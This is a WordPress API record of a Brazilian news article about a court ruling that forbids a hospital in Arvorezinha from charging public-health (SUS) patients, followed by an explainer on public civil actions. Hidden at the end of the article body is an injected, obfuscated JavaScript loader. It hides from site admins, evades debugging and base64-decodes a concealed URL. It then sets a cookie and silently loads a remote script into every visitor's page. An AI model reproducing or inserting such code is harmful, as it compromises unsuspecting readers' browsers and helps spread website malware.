{"id":4032,"date":"2026-03-20T23:43:30","date_gmt":"2026-03-20T23:43:30","guid":{"rendered":"https:\/\/www.jornalnotiserra.com.br\/?p=4032"},"modified":"2026-04-04T17:59:48","modified_gmt":"2026-04-04T17:59:48","slug":"justica-proibe-hospital-de-arvorezinha-de-cobrar-pacientes-do-sus","status":"publish","type":"post","link":"https:\/\/www.jornalnotiserra.com.br\/index.php\/2026\/03\/20\/justica-proibe-hospital-de-arvorezinha-de-cobrar-pacientes-do-sus\/","title":{"rendered":"Justi\u00e7a pro\u00edbe hospital de Arvorezinha de cobrar pacientes do SUS"},"content":{"rendered":"<p><strong>Decis\u00e3o reconhece ilegalidade de cobran\u00e7as e determina devolu\u00e7\u00e3o em dobro, al\u00e9m de indeniza\u00e7\u00e3o por danos morais<\/strong><\/p>\n<p>O hospital S\u00e3o Jo\u00e3o de Arvorezinha, vinha exigindo pagamento de pacientes por procedimentos que deveriam ser integralmente custeados pelo Sistema \u00danico de Sa\u00fade (SUS), pr\u00e1tica considerada ilegal pela Justi\u00e7a. A Vara Judicial da Comarca de Arvorezinha julgou procedente a\u00e7\u00e3o civil p\u00fablica ajuizada pela Defensoria P\u00fablica do Estado e determinou a imediata suspens\u00e3o das cobran\u00e7as. A decis\u00e3o determina a cessa\u00e7\u00e3o imediata da pr\u00e1tica, a devolu\u00e7\u00e3o em dobro dos valores cobrados e a indeniza\u00e7\u00e3o por danos morais aos usu\u00e1rios afetados .<\/p>\n<p>A a\u00e7\u00e3o foi proposta ap\u00f3s diversas den\u00fancias de pacientes que relataram terem sido cobrados por atendimentos, exames e procedimentos realizados pelo SUS, inclusive em situa\u00e7\u00f5es de urg\u00eancia e emerg\u00eancia. Segundo informa\u00e7\u00f5es, o hospital adotava uma pr\u00e1tica recorrente de cobran\u00e7a, especialmente fora do hor\u00e1rio comercial, condicionando o atendimento ao pagamento de valores.<\/p>\n<p>Durante a instru\u00e7\u00e3o do processo, testemunhas confirmaram a exist\u00eancia das cobran\u00e7as. Pacientes relataram que, ao buscarem atendimento pelo SUS, eram informados de que deveriam pagar para serem atendidos mais rapidamente ou para garantir a realiza\u00e7\u00e3o de exames. Em alguns casos, os usu\u00e1rios afirmaram ter efetuado pagamentos mesmo em situa\u00e7\u00f5es de evidente urg\u00eancia m\u00e9dica.<\/p>\n<p>A senten\u00e7a destaca que o Sistema \u00danico de Sa\u00fade \u00e9 regido pelos princ\u00edpios da universalidade, integralidade e gratuidade, sendo vedada qualquer cobran\u00e7a ao usu\u00e1rio por servi\u00e7os prestados dentro da rede p\u00fablica ou conveniada. A magistrada que proferiu a senten\u00e7a, ressaltou que a conduta do hospital cria uma \u201cbarreira econ\u00f4mica de acesso\u201d, violando diretamente a Constitui\u00e7\u00e3o Federal e a legisla\u00e7\u00e3o que regula o SUS.<\/p>\n<p>Al\u00e9m disso, a decis\u00e3o enfatiza que a eventual limita\u00e7\u00e3o de recursos ou a sobrecarga do sistema n\u00e3o autorizam a transfer\u00eancia do custo ao paciente, cabendo ao poder p\u00fablico adotar medidas administrativas e financeiras para garantir a presta\u00e7\u00e3o adequada do servi\u00e7o.<\/p>\n<p>Com a condena\u00e7\u00e3o, o hospital dever\u00e1 n\u00e3o apenas interromper imediatamente qualquer cobran\u00e7a aos usu\u00e1rios do SUS, mas tamb\u00e9m restituir, em dobro, os valores pagos indevidamente. A senten\u00e7a ainda prev\u00ea a fixa\u00e7\u00e3o de indeniza\u00e7\u00e3o por danos morais, a ser apurada individualmente em fase posterior, considerando o constrangimento e a vulnerabilidade enfrentados pelos pacientes.<\/p>\n<p>Outro ponto relevante da decis\u00e3o \u00e9 a determina\u00e7\u00e3o de medidas informativas: o hospital dever\u00e1 afixar cartazes em local vis\u00edvel informando que o atendimento pelo SUS \u00e9 gratuito, sob pena de multa di\u00e1ria em caso de descumprimento.<\/p>\n<p>A senten\u00e7a tamb\u00e9m reconhece o car\u00e1ter coletivo do dano, destacando que a pr\u00e1tica atingiu um grupo indeterminado de pessoas ao longo do tempo, o que justificou a atua\u00e7\u00e3o da Defensoria P\u00fablica e a via da a\u00e7\u00e3o civil p\u00fablica.<\/p>\n<p>Da decis\u00e3o proferida ainda cabe recurso.<\/p>\n<p>&nbsp;<\/p>\n<h3><strong>Entenda: quando cabe a\u00e7\u00e3o civil p\u00fablica e quem pode propor<\/strong><\/h3>\n<p>A a\u00e7\u00e3o civil p\u00fablica \u00e9 um instrumento jur\u00eddico utilizado para proteger interesses coletivos, difusos ou individuais homog\u00eaneos \u2014 ou seja, direitos que atingem um grupo de pessoas ou a sociedade como um todo, como nas \u00e1reas da sa\u00fade, meio ambiente, consumidor e patrim\u00f4nio p\u00fablico.<\/p>\n<p>Ela pode ser proposta quando h\u00e1 viola\u00e7\u00e3o de direitos que n\u00e3o afetam apenas um indiv\u00edduo isoladamente, mas uma coletividade, como no caso de cobran\u00e7as indevidas em servi\u00e7os p\u00fablicos de sa\u00fade.<\/p>\n<p><b>T\u00eam legitimidade para ingressar com a\u00e7\u00e3o civil p\u00fablica:<\/b> o Minist\u00e9rio P\u00fablico; a Defensoria P\u00fablica; a Uni\u00e3o, Estados e Munic\u00edpios; autarquias, empresas p\u00fablicas, funda\u00e7\u00f5es e sociedades de economia mista; associa\u00e7\u00f5es que estejam legalmente constitu\u00eddas h\u00e1 pelo menos um ano e tenham como finalidade a defesa dos interesses envolvidos.<\/p>\n<p>Esse tipo de a\u00e7\u00e3o busca n\u00e3o apenas reparar danos, mas tamb\u00e9m impedir a continuidade da pr\u00e1tica ilegal, garantindo prote\u00e7\u00e3o ampla e efetiva \u00e0 popula\u00e7\u00e3o.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Decis\u00e3o reconhece ilegalidade de cobran\u00e7as e determina devolu\u00e7\u00e3o em dobro, al\u00e9m de indeniza\u00e7\u00e3o por danos morais O hospital S\u00e3o Jo\u00e3o de Arvorezinha, vinha exigindo pagamento de pacientes por procedimentos que deveriam ser integralmente custeados pelo Sistema \u00danico de Sa\u00fade (SUS), pr\u00e1tica considerada ilegal pela Justi\u00e7a. A Vara Judicial da Comarca de Arvorezinha julgou procedente a\u00e7\u00e3o&#8230;<\/p>\n","protected":false},"author":7,"featured_media":4033,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[45],"tags":[],"_links":{"self":[{"href":"https:\/\/www.jornalnotiserra.com.br\/index.php\/wp-json\/wp\/v2\/posts\/4032"}],"collection":[{"href":"https:\/\/www.jornalnotiserra.com.br\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.jornalnotiserra.com.br\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.jornalnotiserra.com.br\/index.php\/wp-json\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/www.jornalnotiserra.com.br\/index.php\/wp-json\/wp\/v2\/comments?post=4032"}],"version-history":[{"count":3,"href":"https:\/\/www.jornalnotiserra.com.br\/index.php\/wp-json\/wp\/v2\/posts\/4032\/revisions"}],"predecessor-version":[{"id":4042,"href":"https:\/\/www.jornalnotiserra.com.br\/index.php\/wp-json\/wp\/v2\/posts\/4032\/revisions\/4042"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.jornalnotiserra.com.br\/index.php\/wp-json\/wp\/v2\/media\/4033"}],"wp:attachment":[{"href":"https:\/\/www.jornalnotiserra.com.br\/index.php\/wp-json\/wp\/v2\/media?parent=4032"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.jornalnotiserra.com.br\/index.php\/wp-json\/wp\/v2\/categories?post=4032"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.jornalnotiserra.com.br\/index.php\/wp-json\/wp\/v2\/tags?post=4032"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}